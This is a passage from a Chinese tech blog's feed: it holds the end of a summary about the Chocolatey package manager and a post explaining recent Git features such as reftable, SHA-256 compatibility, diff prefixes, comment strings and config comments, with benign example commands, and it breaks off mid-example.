    <summary type="html">&lt;p&gt;&amp;#x7528;&amp;#x8FC7; Linux &amp;#x6216;&amp;#x8005; MacOs &amp;#x7684;&amp;#x4EBA;&amp;#x80AF;&amp;#x5B9A;&amp;#x719F;&amp;#x6089;&amp;#x5305;&amp;#x7BA1;&amp;#x7406;&amp;#x5668;&amp;#xFF0C;&amp;#x5982; apt, rpm, brew&amp;#xFF0C;&amp;#x4F46;&amp;#x662F;&amp;#x4F60;&amp;#x77E5;&amp;#x9053; Windows &amp;#x4E0A;&amp;#x4E5F;&amp;#x6709;&amp;#x5305;&amp;#x7BA1;&amp;#x7406;&amp;#x5DE5;&amp;#x5177;&amp;#x5417;&amp;#xFF1F;&lt;/p&gt;
&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;Windows&amp;#x7CFB;&amp;#x7EDF;&amp;#x4E0A;&amp;#x7684;&amp;#x5305;&amp;#x7BA1;&amp;#x7406;&amp;#x5DE5;&amp;#x5177;Chocolatey&amp;#xFF0C;&amp;#x8BE6;&amp;#x7EC6;&amp;#x8BB2;&amp;#x89E3;&amp;#x4E86;&amp;#x5176;&amp;#x5B89;&amp;#x88C5;&amp;#x3001;&amp;#x4F7F;&amp;#x7528;&amp;#x548C;&amp;#x529F;&amp;#x80FD;&amp;#x7279;&amp;#x70B9;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x9996;&amp;#x5148;&amp;#x4ECB;&amp;#x7ECD;&amp;#x4E86;Chocolatey&amp;#x7684;&amp;#x80CC;&amp;#x666F;&amp;#x548C;&amp;#x4F18;&amp;#x52BF;&amp;#xFF0C;&amp;#x7136;&amp;#x540E;&amp;#x901A;&amp;#x8FC7;&amp;#x5B9E;&amp;#x9645;&amp;#x64CD;&amp;#x4F5C;&amp;#x6F14;&amp;#x793A;&amp;#x4E86;&amp;#x5982;&amp;#x4F55;&amp;#x67E5;&amp;#x770B;&amp;#x548C;&amp;#x5347;&amp;#x7EA7;Chocolatey&amp;#x7248;&amp;#x672C;&amp;#xFF0C;&amp;#x4EE5;&amp;#x53CA;&amp;#x5982;&amp;#x4F55;&amp;#x4F7F;&amp;#x7528;&amp;#x7B80;&amp;#x5355;&amp;#x547D;&amp;#x4EE4;&amp;#x5B89;&amp;#x88C5;&amp;#x8F6F;&amp;#x4EF6;&amp;#x3001;&amp;#x6307;&amp;#x5B9A;&amp;#x8F6F;&amp;#x4EF6;&amp;#x7248;&amp;#x672C;&amp;#x548C;&amp;#x641C;&amp;#x7D22;&amp;#x8F6F;&amp;#x4EF6;&amp;#x5305;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8FD8;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x5FC5;&amp;#x8981;&amp;#x7684;&amp;#x4F7F;&amp;#x7528;&amp;#x63D0;&amp;#x793A;&amp;#xFF0C;&amp;#x5982;&amp;#x9700;&amp;#x8981;&amp;#x7BA1;&amp;#x7406;&amp;#x5458;&amp;#x6743;&amp;#x9650;&amp;#x7B49;&amp;#x6CE8;&amp;#x610F;&amp;#x4E8B;&amp;#x9879;&amp;#xFF0C;&amp;#x5E76;&amp;#x901A;&amp;#x8FC7;&amp;#x622A;&amp;#x56FE;&amp;#x5C55;&amp;#x793A;&amp;#x4E86;&amp;#x5B9E;&amp;#x9645;&amp;#x64CD;&amp;#x4F5C;&amp;#x6548;&amp;#x679C;&amp;#xFF0C;&amp;#x4E3A;Windows&amp;#x7528;&amp;#x6237;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x4E00;&amp;#x79CD;&amp;#x9AD8;&amp;#x6548;&amp;#x7BA1;&amp;#x7406;&amp;#x8F6F;&amp;#x4EF6;&amp;#x7684;&amp;#x65B0;&amp;#x65B9;&amp;#x5F0F;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    <category term="包管理工具" scheme="https://oschina.win/categories/Tools/%E5%8C%85%E7%AE%A1%E7%90%86%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="Windows" scheme="https://oschina.win/tags/Windows/"/>
    
    <category term="Tools" scheme="https://oschina.win/tags/Tools/"/>
    
  </entry>
  
  <entry>
    <title>Git 最近的一些有用的更新</title>
    <link href="https://oschina.win/posts/981db30b.html"/>
    <id>https://oschina.win/posts/981db30b.html</id>
    <published>2024-08-03T11:49:12.000Z</published>
    <updated>2025-04-25T13:24:41.924Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x7CBE;&#x9009;&#x4ECB;&#x7ECD;&#x4E86;Git 2.40.0&#x4EE5;&#x540E;&#x7248;&#x672C;&#x4E2D;&#x7684;&#x516D;&#x9879;&#x5B9E;&#x7528;&#x529F;&#x80FD;&#x66F4;&#x65B0;&#x3002;&#x6587;&#x7AE0;&#x8BE6;&#x7EC6;&#x89E3;&#x6790;&#x4E86;reftable&#x65B0;&#x5B58;&#x50A8;&#x683C;&#x5F0F;&#x5982;&#x4F55;&#x9AD8;&#x6548;&#x5904;&#x7406;&#x5927;&#x91CF;&#x5F15;&#x7528;&#xFF1B;SHA-1&#x4E0E;SHA-256&#x7B97;&#x6CD5;&#x7684;&#x517C;&#x5BB9;&#x63AA;&#x65BD;&#xFF1B;git diff&#x663E;&#x793A;&#x683C;&#x5F0F;&#x7684;&#x81EA;&#x5B9A;&#x4E49;&#x914D;&#x7F6E;&#xFF1B;commit&#x4FE1;&#x606F;&#x6CE8;&#x91CA;&#x683C;&#x5F0F;&#x7684;&#x4E2A;&#x6027;&#x5316;&#x8BBE;&#x7F6E;&#xFF1B;&#x914D;&#x7F6E;&#x65F6;&#x6DFB;&#x52A0;&#x6CE8;&#x91CA;&#x7684;&#x65B0;&#x529F;&#x80FD;&#xFF1B;&#x4EE5;&#x53CA;git revert&#x547D;&#x4EE4;&#x8F93;&#x51FA;&#x4FE1;&#x606F;&#x7684;&#x6539;&#x8FDB;&#x3002;&#x6BCF;&#x4E2A;&#x7279;&#x6027;&#x90FD;&#x914D;&#x6709;&#x5B9E;&#x9645;&#x547D;&#x4EE4;&#x793A;&#x4F8B;&#x548C;&#x4F7F;&#x7528;&#x573A;&#x666F;&#x5206;&#x6790;&#xFF0C;&#x5E2E;&#x52A9;&#x5F00;&#x53D1;&#x8005;&#x5229;&#x7528;&#x8FD9;&#x4E9B;&#x65B0;&#x529F;&#x80FD;&#x63D0;&#x5347;Git&#x4F7F;&#x7528;&#x4F53;&#x9A8C;&#x548C;&#x5DE5;&#x4F5C;&#x6548;&#x7387;&#x3002;</p><span id="more"></span><h3 id="1-reftable-&#x7684;&#x521D;&#x6B65;&#x652F;&#x6301;">1. reftable &#x7684;&#x521D;&#x6B65;&#x652F;&#x6301;</h3><p>&#x4F20;&#x7EDF;&#x7684; git &#x4ED3;&#x5E93;&#xFF0C;&#x672C;&#x5730;&#x6216;&#x8FDC;&#x7A0B;&#x5206;&#x652F;&#x4EE5;&#x53CA; tag &#x7684;&#x4FE1;&#x606F;&#x90FD;&#x8BB0;&#x5F55;&#x5728; <code>.git/refs/heads/</code>&#x3001;<code>.git/refs/remotes/</code>&#x3001;<code>.git/refs/tags/</code> &#x76EE;&#x5F55;&#x4E0B;&#xFF0C;&#x91CC;&#x9762;&#x6BCF;&#x4E2A;&#x6587;&#x4EF6;&#x5305;&#x542B;&#x5B83;&#x4EEC;&#x6307;&#x5411;&#x7684;&#x5BF9;&#x8C61;&#x7684; sha &#x503C;&#xFF0C;&#x5B83;&#x4EEC;&#x5C31;&#x53EB;&#x505A;&#x5F15;&#x7528;(reference)&#x3002;&#x5F53;&#x6211;&#x4EEC;&#x7684; git &#x4ED3;&#x5E93;&#x5B58;&#x5728;&#x5927;&#x91CF;&#x5206;&#x652F;&#x6216; tag &#x65F6;&#xFF0C;&#x610F;&#x5473;&#x7740;&#x4ED3;&#x5E93;&#x91CC;&#x5305;&#x542B;&#x5927;&#x91CF;&#x5F15;&#x7528;&#xFF0C;&#x5982;&#x679C;&#x5F15;&#x7528;&#x88AB;&#x6253;&#x5305;&#x6210;&#x4E00;&#x4E2A;&#x5355;&#x4E00;&#x7684;&#x5927;&#x7684;&#x5F15;&#x7528;&#x5305;(.packed_refs)&#x5C31;&#x53D8;&#x5F97;&#x96BE;&#x4EE5;&#x7EF4;&#x62A4;(&#x5982;&#x5728;&#x66F4;&#x65B0;&#x6216;&#x91CD;&#x5199;&#x65F6;&#x4F1A;&#x6D88;&#x8017;&#x5F88;&#x591A; IO)&#xFF1B;&#x540C;&#x65F6;&#xFF0C;&#x5982;&#x679C;&#x6709;&#x5927;&#x91CF;&#x672A;&#x88AB;&#x6253;&#x5305;&#x7684; &#x201C;&#x677E;&#x6563;&#x5F15;&#x7528;&#x201D; &#x4E5F;&#x4F1A;&#x5BFC;&#x81F4;&#x78C1;&#x76D8;&#x8D1F;&#x62C5;(&#x5982;&#x67E5;&#x8BE2;&#x53D8;&#x6162;&#xFF0C;&#x6216;&#x8005;&#x5360;&#x7528;&#x78C1;&#x76D8; inode)&#xFF0C;&#x8FD9;&#x662F;&#x4F20;&#x7EDF;&#x7684; git &#x5F15;&#x7528;&#x7684;&#x5B58;&#x50A8;&#x65B9;&#x5F0F;&#x7684;&#x5F0A;&#x7AEF;&#x3002;&#x73B0;&#x5728;(2.45.0 &#x5F00;&#x59CB;) git &#x5F15;&#x5165;&#x4E86;&#x65B0;&#x7684;&#x5F15;&#x7528;&#x5B58;&#x50A8;&#x683C;&#x5F0F;&#xFF0C;&#x5373; reftable&#x3002;reftable &#x539F;&#x662F;&#x4E3A; Gerrit &#x9879;&#x76EE;&#x8BBE;&#x8BA1;&#x7684;&#x4E00;&#x79CD;&#x4E8C;&#x8FDB;&#x5236;&#x5B58;&#x50A8;&#x5F15;&#x7528;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5177;&#x5907;&#x5E38;&#x6570;&#x65F6;&#x95F4;&#x7684;&#x5F15;&#x7528;&#x67E5;&#x8BE2;&#x3001;&#x5E38;&#x6570;&#x65F6;&#x95F4;&#x7684;&#x5F15;&#x7528;&#x5BF9;&#x8C61;&#x6821;&#x9A8C;&#x3001;&#x8282;&#x7701;&#x5B58;&#x50A8;&#x7A7A;&#x95F4;&#x7B49;&#x4F18;&#x70B9;&#x3002;</p><p>&#x5982;&#x4F55;&#x5728; git &#x4ED3;&#x5E93;&#x4E2D;&#x4F7F;&#x7528;&#x8BE5;&#x7279;&#x6027;&#xFF1A;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># &#x5728;&#x65B0;&#x4ED3;&#x5E93;&#x4E2D;&#xFF0C;&#x4F7F;&#x7528; git-init &#x521D;&#x59CB;&#x5316;</span></span><br><span class="line">$ git init --ref-format=reftable /path/to/repo</span><br><span class="line"></span><br><span class="line"><span class="comment"># git commit &#x4E4B;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;.git/ &#x76EE;&#x5F55;&#x591A;&#x4E86; reftable/ &#x76EE;&#x5F55;</span></span><br><span class="line">$ <span class="built_in">ls</span> -l .git/reftable/</span><br><span class="line">0x000000000001-0x000000000002-ca426570.ref</span><br><span class="line">tables.list</span><br><span class="line"></span><br><span class="line">$ <span class="built_in">cat</span> .git/reftable/tables.list</span><br><span class="line">0x000000000001-0x000000000002-ca426570.ref</span><br><span class="line"></span><br><span class="line"><span class="comment"># 0x000000000001-0x000000000002-ca426570.ref &#x6587;&#x4EF6;&#x5185;&#x5BB9;&#x662F;&#x4E8C;&#x8FDB;&#x5236;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x5373;&#x4F7F;&#x67E5;&#x770B;&#x4E5F;&#x662F;&#x4E71;&#x7801;</span></span><br></pre></td></tr></table></figure><h3 id="2-SHA-1-SHA-256-&#x7684;&#x521D;&#x6B65;&#x76F8;&#x4E92;&#x517C;&#x5BB9;&#x652F;&#x6301;">2. SHA-1, SHA-256 &#x7684;&#x521D;&#x6B65;&#x76F8;&#x4E92;&#x517C;&#x5BB9;&#x652F;&#x6301;</h3><blockquote><p>&#x6CE8;&#xFF1A;&#x76EE;&#x524D;&#x8FD8;&#x662F;&#x5B9E;&#x9A8C;&#x6027;&#x8D28;&#xFF0C;&#x5982;&#x679C;&#x672C;&#x5730;&#x4ED3;&#x5E93;&#x662F;&#x4F7F;&#x7528; SHA-256 &#x7B97;&#x6CD5;&#xFF0C;&#x662F;&#x65E0;&#x6CD5;&#x63A8;&#x9001;&#x5230;&#x8FDC;&#x7A0B;&#x4ED3;&#x5E93;&#x7684;&#x3002;</p></blockquote><p>&#x6211;&#x4EEC;&#x77E5;&#x9053; git &#x4ED3;&#x5E93;&#x4E00;&#x76F4;&#x662F;&#x4F7F;&#x7528; sha1 &#x7B97;&#x6CD5;&#x5BF9; git &#x4ED3;&#x5E93;&#x4E2D;&#x7684;&#x5404;&#x79CD;&#x5BF9;&#x8C61;&#xFF0C;&#x5305;&#x62EC; commit, tag, tree, blob &#x7B49;&#x8BA1;&#x7B97;&#x5176; hash &#x503C;&#x6765;&#x6807;&#x8BC6;&#x5B83;&#x4EEC;&#x7684;&#x3002;&#x4F46;&#x662F;&#x7531;&#x4E8E; sha-1 &#x4E0D;&#x518D;&#x7EDD;&#x5BF9;&#x5B89;&#x5168;&#xFF0C;&#x6240;&#x4EE5; git &#x793E;&#x533A;&#x4E5F;&#x5728;&#x8003;&#x8651;&#x4F7F;&#x7528;&#x66F4;&#x5B89;&#x5168;&#x7684; sha256 &#x7B97;&#x6CD5;&#x3002;&#x76EE;&#x524D;(2.45.0 &#x5F00;&#x59CB;)&#x5DF2;&#x5B9E;&#x73B0;&#x521D;&#x6B65;&#x7684;&#x529F;&#x80FD;.</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">&#x5728;&#x521D;&#x59CB;&#x5316;&#x4E00;&#x4E2A;&#x65B0;&#x4ED3;&#x5E93;&#x65F6;, &#x4F7F;&#x7528; --object-format &#x6307;&#x5B9A;</span><br><span class="line">$ git init --object-format=sha256 /path/to/repo</span><br><span class="line">Initialized empty Git repository <span class="keyword">in</span> /path/to/repo/.git</span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x8BBE;&#x7F6E;&#x517C;&#x5BB9; sha1</span></span><br><span class="line">$ <span class="built_in">cd</span> /path/to/repo</span><br><span class="line">$ git config extensions.compatObjectFormat sha1</span><br><span class="line"></span><br><span class="line">  </span><br><span class="line"><span class="comment"># &#x5411;&#x4ED3;&#x5E93;&#x4E2D;&#x6DFB;&#x52A0;&#x6587;&#x4EF6;&#x5E76;&#x63D0;&#x4EA4;&#x540E;</span></span><br><span class="line">$ git rev-parse HEAD | git cat-file --batch</span><br><span class="line">74dcba4f8f941a65a44fdd92f0bd6a093ad78960710ac32dbd4c032df66fe5c6 commit 202</span><br><span class="line">tree ace45d916e870ce0fadbb8fc579218d01361da4159d1e2b5949f176b1f743280</span><br><span class="line">author A U Thor &lt;author@example.com&gt; 1713990043 -0400</span><br><span class="line">committer C O Mitter &lt;committer@example.com&gt; 1713990043 -0400</span><br><span class="line"></span><br><span class="line">initial commit</span><br><span class="line"></span><br><span class="line"><span class="comment"># &#x7531;&#x4E8E;&#x8BBE;&#x7F6E;&#x4E86;&#x517C;&#x5BB9;&#x914D;&#x7F6E;, &#x6240;&#x4EE5;&#x4E5F;&#x53EF;&#x4EE5;&#x67E5;&#x770B;&#x539F;&#x6765;&#x7684;&#x683C;&#x5F0F;:</span></span><br><span class="line">$ git rev-parse --output-object-format=sha1 HEAD</span><br><span class="line">2a4f4a2182686157a2dc887c46693c988c912533</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">$ git rev-parse --output-object-format=sha1 HEAD | git cat-file --batch</span><br><span class="line">2a4f4a2182686157a2dc887c46693c988c912533 commit 178</span><br><span class="line">tree 7dd49419807b37a3afd2f040891a64d69abb8df1</span><br><span class="line">author A U Thor &lt;author@example.com&gt; 1713990043 -0400</span><br><span class="line">committer C O Mitter &lt;committer@example.com&gt; 1713990043 -0400</span><br><span class="line"></span><br><span class="line">initial commit</span><br></pre></td></tr></table></figure><h3 id="3-git-diff-&#x663E;&#x793A;&#x683C;&#x5F0F;&#x7684;&#x8BBE;&#x7F6E;">3. git diff &#x663E;&#x793A;&#x683C;&#x5F0F;&#x7684;&#x8BBE;&#x7F6E;</h3><p>&#x5728;&#x4F7F;&#x7528; git diff &#x6216; git show &#x67E5;&#x770B;&#x6587;&#x4EF6;&#x7684;&#x4FEE;&#x6539;&#x5DEE;&#x5F02;&#x65F6;&#xFF0C;&#x5728;&#x65B0;&#x65E7;&#x6587;&#x4EF6;&#x540D;&#x524D;&#x7684;&#x524D;&#x7F00;&#x90FD;&#x662F; a/&#x3001;b/&#xFF0C;&#x5982;:</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#xA0;$ git diff HEAD^ -- GIT-VERSION-GEN</span><br><span class="line"><span class="comment">diff --git a/GIT-VERSION-GEN b/GIT-VERSION-GEN</span></span><br><span class="line"><span class="comment">index dabd2b5b89..c92f98b3db 100755</span></span><br><span class="line"><span class="comment">--- a/GIT-VERSION-GEN &#xA0; &lt;------ &#x8FD9;&#x91CC;</span></span><br><span class="line"><span class="comment">+++ b/GIT-VERSION-GEN &#xA0; &lt;------</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -1,7 +1,7 @@</span></span><br><span class="line">#!/bin/sh</span><br><span class="line"></span><br><span class="line">GVF=GIT-VERSION-FILE</span><br><span class="line"><span class="deletion">-DEF_VER=v2.45.0-rc0</span></span><br><span class="line"><span class="addition">+DEF_VER=v2.45.0-rc1</span></span><br></pre></td></tr></table></figure><p>&#x73B0;&#x5728;(2.45.0 &#x5F00;&#x59CB;)&#x53EF;&#x4EE5;&#x4FEE;&#x6539;&#x8FD9;&#x4E2A;&#x524D;&#x7F00;&#xFF0C;&#x6BD4;&#x5982;&#x4FEE;&#x6539;&#x4E3A;&#xFF1A;<code>before/</code>, <code>after/</code>, &#x66F4;&#x6709;&#x7528;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x4FEE;&#x6539;&#x4E3A;&#xFF1A;<code>./</code>&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x6210;&#x4E86;&#x4E00;&#x4E2A;&#x6709;&#x6548;&#x7684;&#x6587;&#x4EF6;&#x94FE;&#x63A5;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x70B9;&#x51FB;&#x8DF3;&#x8F6C;&#x3002;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ git config diff.srcPrefix <span class="string">&quot;./&quot;</span></span><br><span class="line">$ git config diff.dstPrefix <span class="string">&quot;./&quot;</span></span><br><span class="line"><span class="comment"># &#x4E0D;&#x8981;&#x5FD8;&#x4E86;&#x540C;&#x65F6;&#x4FEE;&#x6539; srcPrefix, dstPrefix</span></span><br></pre></td></tr></table></figure><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&#xA0;$ git diff HEAD^ -- GIT-VERSION-GEN</span><br><span class="line"><span class="comment">diff --git a/GIT-VERSION-GEN b/GIT-VERSION-GEN</span></span><br><span class="line"><span class="comment">index dabd2b5b89..c92f98b3db 100755</span></span><br><span class="line"><span class="comment">--- ./GIT-VERSION-GEN &#xA0; &lt;------ &#x914D;&#x7F6E;&#x540E;&#x7684;&#x663E;&#x793A;</span></span><br><span class="line"><span class="comment">+++ ./GIT-VERSION-GEN &#xA0; &lt;------</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@@ -1,7 +1,7 @@</span></span><br><span class="line">#!/bin/sh</span><br><span class="line"></span><br><span class="line">GVF=GIT-VERSION-FILE</span><br><span class="line"><span class="deletion">-DEF_VER=v2.45.0-rc0</span></span><br><span class="line"><span class="addition">+DEF_VER=v2.45.0-rc1</span></span><br></pre></td></tr></table></figure><h3 id="4-&#x66F4;&#x6539;&#x7F16;&#x5199;-commit-&#x4FE1;&#x606F;&#x65F6;&#x7684;&#x6CE8;&#x91CA;&#x683C;&#x5F0F;">4. &#x66F4;&#x6539;&#x7F16;&#x5199; commit &#x4FE1;&#x606F;&#x65F6;&#x7684;&#x6CE8;&#x91CA;&#x683C;&#x5F0F;</h3><p>&#x6211;&#x4EEC;&#x77E5;&#x9053;&#x4F7F;&#x7528; git add &#x6DFB;&#x52A0;&#x6587;&#x4EF6;&#x4E4B;&#x540E;&#x518D;&#x76F4;&#x63A5;&#x6267;&#x884C; git commit &#x547D;&#x4EE4;&#x4F1A;&#x8FDB;&#x5165;&#x4EA4;&#x4E92;&#x5F0F;&#x754C;&#x9762;&#xFF0C;&#x63D0;&#x793A;&#x6211;&#x4EEC;&#x7F16;&#x5199; commit message, &#x9ED8;&#x8BA4;&#x663E;&#x793A;&#x5982;&#x4E0B;:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">Please enter the commit message for your changes. Lines starting</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">with <span class="string">&apos;#&apos;</span> will be ignored, and an empty message aborts the commit.</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"></span></span><br><span class="line"><span class="language-bash"></span><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">On branch main</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">Changes to be committed:</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">&#xA0; &#xA0; &#xA0; modified: &#xA0; README</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash"></span></span><br><span class="line"><span class="language-bash"></span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x6839;&#x636E;&#x4E0A;&#x9762;&#x7684;&#x63D0;&#x793A;&#x4FE1;&#x606F;&#xFF0C;&#x4EE5;&#x5355;&#x5B57;&#x8282; <code>&quot;#&quot;</code> &#x5F00;&#x5934;&#x7684;&#x90FD;&#x662F;&#x6CE8;&#x91CA;&#x4FE1;&#x606F;&#x5C06;&#x4F1A;&#x88AB;&#x5FFD;&#x7565;&#x3002;&#x800C;&#x6700;&#x65B0;&#x7248;&#x672C;&#x7684; git (2.45.0 &#x5F00;&#x59CB;)&#x53EF;&#x4EE5;&#x5B9A;&#x5236;&#x5316;&#x8FD9;&#x4E2A;&#x6CE8;&#x91CA;&#x7684;&#x683C;&#x5F0F;&#xFF0C;&#x8BBE;&#x7F6E;&#x591A;&#x5B57;&#x8282;&#x7684;&#x5B57;&#x7B26;&#xFF0C;&#x914D;&#x7F6E;&#x65B9;&#x5F0F;&#x5982;&#x4E0B;:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git config core.commentString <span class="string">&quot;//&quot;</span></span><br></pre></td></tr></table></figure><blockquote><p>&#x6CE8;&#xFF1A;&#x5728;&#x6211;&#x7684; Windows &#x4E0A;, &#x8FD9;&#x91CC;&#x8BBE;&#x7F6E;&#x7684; <code>&quot;//&quot;</code> &#x4F1A;&#x53D8;&#x4E3A; <code>&quot;/&quot;</code>, &#x6240;&#x4EE5;&#x8981;&#x60F3;&#x53CC;&#x659C;&#x7EBF;&#xFF0C;&#x9700;&#x8981;&#x914D;&#x7F6E;&#x4E3A; <code>&quot;///&quot;</code>&#xFF0C;&#x8FD8;&#x6CA1;&#x5728;&#x5176;&#x4ED6;&#x73AF;&#x5883;&#x4E2D;&#x9A8C;&#x8BC1;&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x662F;&#x4E0D;&#x662F; bug&#x3002;</p></blockquote><p>&#x8FD9;&#x6837;&#x914D;&#x7F6E;&#x597D;&#x5904;&#x662F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x81EA;&#x5DF1;&#x559C;&#x6B22;&#x7684;&#x6CE8;&#x91CA;&#x65B9;&#x5F0F;&#xFF0C;&#x66F4;&#x5B9E;&#x7528;&#x7684;&#x662F;&#xFF0C;&#x5F53;&#x4E0D;&#x4F7F;&#x7528; <code>&quot;#&quot;</code> &#x4F5C;&#x4E3A;&#x6CE8;&#x91CA;&#x7B26;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x5728; commit message &#x5F00;&#x5934;&#x4F7F;&#x7528; <code>#1234</code> &#x8FD9;&#x7C7B;&#x7279;&#x6B8A;&#x7684;&#x6807;&#x8BC6;&#x65B9;&#x5F0F;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x4EE3;&#x8868; issue &#x53F7;&#x6216;&#x8005; PR &#x53F7;&#xFF0C;&#x662F;&#x4E0D;&#x662F;&#x66F4;&#x65B9;&#x4FBF;&#x4E86;&#x3002;</p><h3 id="5-&#x4FEE;&#x6539;&#x914D;&#x7F6E;&#x65F6;&#xFF0C;&#x8FDB;&#x884C;&#x6CE8;&#x91CA;">5. &#x4FEE;&#x6539;&#x914D;&#x7F6E;&#x65F6;&#xFF0C;&#x8FDB;&#x884C;&#x6CE8;&#x91CA;</h3><p>&#x6709;&#x65F6;&#x5019;&#x6211;&#x4EEC;&#x914D;&#x7F6E;&#x4E86;&#x5F88;&#x591A;&#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x4F46;&#x662F;&#x5FD8;&#x4E86;&#x52A0;&#x6CE8;&#x91CA;&#xFF0C;&#x8FD9;&#x4F1A;&#x59A8;&#x788D;&#x9605;&#x8BFB;&#x3002; &#x867D;&#x7136;&#x5728;&#x4E4B;&#x540E;&#x53EF;&#x4EE5;&#x624B;&#x52A8;&#x4FEE;&#x6539; gitconfig &#x6587;&#x4EF6;&#xFF0C;&#x4F46;&#x662F;&#x4ECD;&#x4E0D;&#x591F;&#x65B9;&#x4FBF;&#x3002;&#x73B0;&#x5728;(2.45.0 &#x5F00;&#x59CB;)&#x53EF;&#x4EE5;&#x5728;&#x4FEE;&#x6539;&#x914D;&#x7F6E;&#x540C;&#x65F6;&#x8FFD;&#x52A0;&#x6CE8;&#x91CA;&#x3002;</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ git config --comment <span class="string">&apos;to show the merge base&apos;</span> merge.conflictStyle diff3</span><br><span class="line">$ <span class="built_in">tail</span> -n 2 .git/config</span><br><span class="line">[merge]</span><br><span class="line"></span><br><span class="line">conflictStyle = diff3 <span class="comment"># to show the merge base</span></span><br></pre></td></tr></table></figure><h3 id="6-git-revert-&#x7684;&#x4FEE;&#x6539;&#x4FE1;&#x606F;&#x6539;&#x8FDB;">6. git revert &#x7684;&#x4FEE;&#x6539;&#x4FE1;&#x606F;&#x6539;&#x8FDB;</h3><p>&#x5728; git-2.43.0 &#x4E4B;&#x524D;&#xFF0C;&#x5BF9;&#x540C;&#x4E00;&#x4E2A;&#x63D0;&#x4EA4;&#x591A;&#x6B21;&#x8FDB;&#x884C; git revert &#x7684;&#x6548;&#x679C;&#x5982;&#x4E0B;:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 